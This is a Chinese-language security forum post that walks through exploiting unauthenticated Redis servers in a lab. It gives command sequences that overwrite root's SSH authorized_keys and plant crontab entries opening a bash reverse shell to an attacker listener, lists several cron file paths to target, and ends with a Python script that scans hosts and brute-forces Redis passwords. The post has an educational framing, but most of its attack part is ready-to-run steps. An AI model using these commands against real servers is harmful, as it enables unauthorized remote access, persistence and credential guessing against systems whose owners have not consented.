Redis漏洞利用姿势(内附检测脚本)

Track-劲夫   ·   发表于 2022-01-26 16:24:41   ·   技术文章

Redis漏洞利用姿势

特别声明:本文所分享内容仅用于网安爱好者之间的技术讨论,禁止用于任何违法途径,否则后果自担

实验中会用到的命令

  1. set key value,存入一个键值对,是String类型
  2. get key,根据键取出值
  3. keys *,列出当前数据库中所有的键
  4. save,进行一次备份操作
  5. flushall,清空所有数据库中的数据
  6. flushdb,清空当前数据库中的数据
  7. del key,删除键为key的数据
  8. slavof ip port,设置主从关系
  9. 获取或者设置redis的配置信息
    1. config get *,获取可以通过config命令来配置的所有参数
    2. config get port,获取redis的端口号
    3. config get bind,获取redis绑定的ip地址
    4. config get dir,获取redis-server文件所在的目录,备份文件也是产生在这下面
    5. config get protected-mode,查看是否开启了安全模式,如果是yes的话,那么是禁止外部链接的,如果是通过ssrf打redis的话就没关系
    6. config get dbfilename,获取redis的备份文件名
    7. config set dir,设置持久化文件的保存地址
    8. config set dbfilename xxx.rdb,设置持久化文件名
    9. config set protected-mode on,关闭安全模式

Redis的持久化机制

Redis提供了两种持久化机制,分别是RDBAOF

  • RDB 把当前的数据生成快照保存在硬盘上,备份的文件后缀名为.rdb
  • AOF 记录每次对数据的操作到硬盘上,备份的文件后缀名为.aof

Redis默认是使用RDB的的持久化机制,而这种持久化机制的文件名是可以通过客户端中执行命令来进行修改的,这样的话就会造成任意文件写入

漏洞复现

环境配置

  • centos7(安装了redis,并且没有设置密码)
  • kali

centos上启动redis的服务器,先用客户端连接,执行config set protected-mode no命令关闭掉安全模式,这样kali才能对他进行远程连接,别忘了关防火墙

修改SSH公钥登录服务器

环境要求
  1. 安装了ssh服务,并且允许远程连接
  2. 登录方式是使用公钥连接
配置ssh使用公私连接步骤

首先检测ssh服务端是否启动systemctl status sshd.service

修改sshd配置文件,设置只允许公钥连接

sudo vim /etc/ssh/sshd_config

# 找到下面的配置项进行设置,并且取消注释
PermitRootLogin yes
PasswordAuthentication no
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

然后重启服务

systemctl restart sshd.service

可以测试一下用账号和密码是否还连的上,然后我现在再本机进行一个ssh的密钥和公钥的生成

然后把公钥拷贝到centos7的机器中

然后把公钥写入下面这个路径,上面再配置文件里面配置过的

然后真实机进行连接,连接成功

下面使用kali尝试进行连接,看看能否成功,连接失败了,下面就可以开始进行漏洞复现了

漏洞复现
  1. 先使用kali连接centos7的redis看看是否可以连接成功,命令如下redis-cli -h ip地址 -p 端口号,连接上去之后,执行config get dbfilename测试是否可以执行命令
  2. 修改持久化保存目录,config set dir /root/.ssh
  3. 把持久化文件名改为存储公钥的文件名,config set dbfilename authorized_keys

  4. kali本地生成公私钥,复制公钥

  5. 写入redis的变量中,注意前面和后面都有三个\n和空格

    set pub "\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+z8aq0Rsxy4xjvMKULmCx97Qr5KiApl1a0LyX8hMK77VEK1rl/LCWuGOamw+RvKRraWjAAHxkIRFIn2v3mc3SHOuT83YnWCmm/6nro21wlRwzrbKJJSsJop58dayvnByK4Y30mtzPQqGAo9nBvcnxTYfnp2esjoMxPC4MzRQTPxrz+Kkhrd5TXI4Kv7ux1RrzPXSeKd+ocY1EcrH1LytA03xqIPDPt5E3LEMI4sdniLMHwEQoFOH3uUqrv1C0IvGmo/Qt8j0i+qmFi7n0td2K7/AKDGcIID1a5HGgs6oCAF3YhtnTjvdu3MpBqHQL6hcCMpUak9I/oCzvccPzbrwZ7S0EnikaKE/hX2t/uucthb8vuEbBP/CJe7ZVpnBtXDTDXMTxwk+aWs3Z1ZZJy8H5vdbUY/6B3lIGcKYprC8Y/gnChIRBP3lTi9cpS5D8NYXWRQMJBWzlxIHbsdZVDPlfbF5K+boZF1iOkOG9ODu45N1e2qC4BKAAqiyzUL1R7mU= kali<span class="label label-primary">@kali</span> \n\n\n"
    

    写完之后get pub查看是否写入

    执行save,进行持久化,这时候公钥就已经被写入了

    再次进行ssh连接,成功!

利用这种方式去写webshell也是可以的

利用crontab计划任务反弹shell

环境要求
  1. root启用redis
  2. redis没有密码或者是弱口令
漏洞复现
  1. kali打开nc进行监听,nc -lvp 9999

  2. 连接redis写入以下命令

    config set dir /var/spool/cron
    config set dbfilename root
    set shell "\n* * * * * bash -i >& /dev/tcp/192.168.147.128/9999 0>&1\n" //注意tcp后面的ip地址换成你自己的
    save
    
  3. 然后等待shell被反弹就好了

crontab可以写入的位置
  1. /ect/crontab

    set 1 "\n\n\n\n* * * * *  root bash -i >& /dev/tcp/192.168.147.129/9999 0>&1\n\n\n\n"
    config set dir /etc/
    config set dbfilename crontab
    save
    
  2. /etc/cron.d/*

    set 1 "\n\n\n\n* * * * *  root bash -i >& /dev/tcp/192.168.147.129/9999 0>&1\n\n\n\n"
    config set dir /etc/cron.d
    config set dbfilename shell
    save
    
  3. /var/spool/cron/root,复现过程中用的就是这个

  4. var/spool/cron/crontabs/root,debian系统下root用户的cron文件

检测脚本

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import socket

passwords = "".join(open("./password.txt","r").readlines()).split("\n")
targets = "".join(open("./targets.txt","r").readlines()).split("\n")


def check(target, port, timeout):
    global passwords
    socket.setdefaulttimeout(timeout)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, int(port)))
    s.send("INFO\r\n".encode())
    result = s.recv(1024)
    if b"redis_version" in result:
        print(f"IP:{target}存在未授权访问")
    elif b"Authentication" in result:
        for passwd in passwords:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((target, int(port)))
            s.send(f"AUTH {passwd}\r\n".encode())
            result = s.recv(1024)
            if b'OK' in result:
                print(f"IP:{target} 存在弱口令,密码:{passwd}")
    s.close()

if __name__ == '__main__':
    port = "6379"
    for target in targets:
        result = check(target,port,timeout=10)

在targets.txt中写入要扫描的IP地址,一行就是一个
在password.txt中写入要枚举的弱口令,一行就是一个

打赏我,让我更有动力~

附件列表

check.zip   文件大小:0.001M (下载次数:4)

2 条回复   |  直到 2022-3-27 | 1218 次浏览

spider
发表于 2022-1-26

好的 臭宝

评论列表

  • 加载数据中...

编写评论内容

s_s
发表于 2022-3-27

giegie太强了

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.